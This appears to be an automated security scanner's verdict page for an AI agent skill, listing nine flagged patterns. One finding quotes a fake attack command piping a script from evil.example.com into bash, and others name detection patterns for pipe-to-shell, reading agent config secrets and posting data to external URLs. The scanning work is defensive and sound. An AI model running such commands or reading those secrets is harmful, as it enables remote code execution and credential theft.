Caveat verdict

agent-audit-scanner

45
🟠 Risky
Significant risk patterns flagged — automated deep scan, not behavioral proof.

The skill has package install capability, which could potentially be misused.

⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.

Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

0
security
100
transparency
90
maintenance

Permission integrity

Installs packages at runtime — transitive dependencies are not auditable

package_install

Findings (9)

Pattern match critical

Pipe to sh — executes piped content as shell commands

references/common-threats.md · code · | sh

Pattern match high

Accesses OpenClaw config/secrets directly

SKILL.md · frontmatter · ~/.openclaw/openclaw.json

Pattern match high

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

references/common-threats.md · prose · downgraded · curl piping: `curl -sL https://evil.example.com/setup.sh | bash

Pattern match high

Pipe to bash — executes piped content as shell commands

references/common-threats.md · prose · downgraded · | bash

Pattern match medium

Instructs covert action — may act without user awareness

references/common-threats.md · prose · downgraded · silently

Pattern match medium

POSTs data to external URL

references/common-threats.md · code · .post("https://

Pattern match medium

Python os.getenv — reads environment variable

references/common-threats.md · code · os.getenv(

Pattern match medium

subprocess execution — runs system commands from Python

scripts/scan-all-skills.py · prose · downgraded · subprocess.run(

Pattern match low

References agent memory files

references/common-threats.md · prose · downgraded · MEMORY.md

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/B/D/F). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

Requires 1 system binary.

package_install

Is this flag fair?

Check another skill Browse the registry Auditing your own skills or configs? Use the API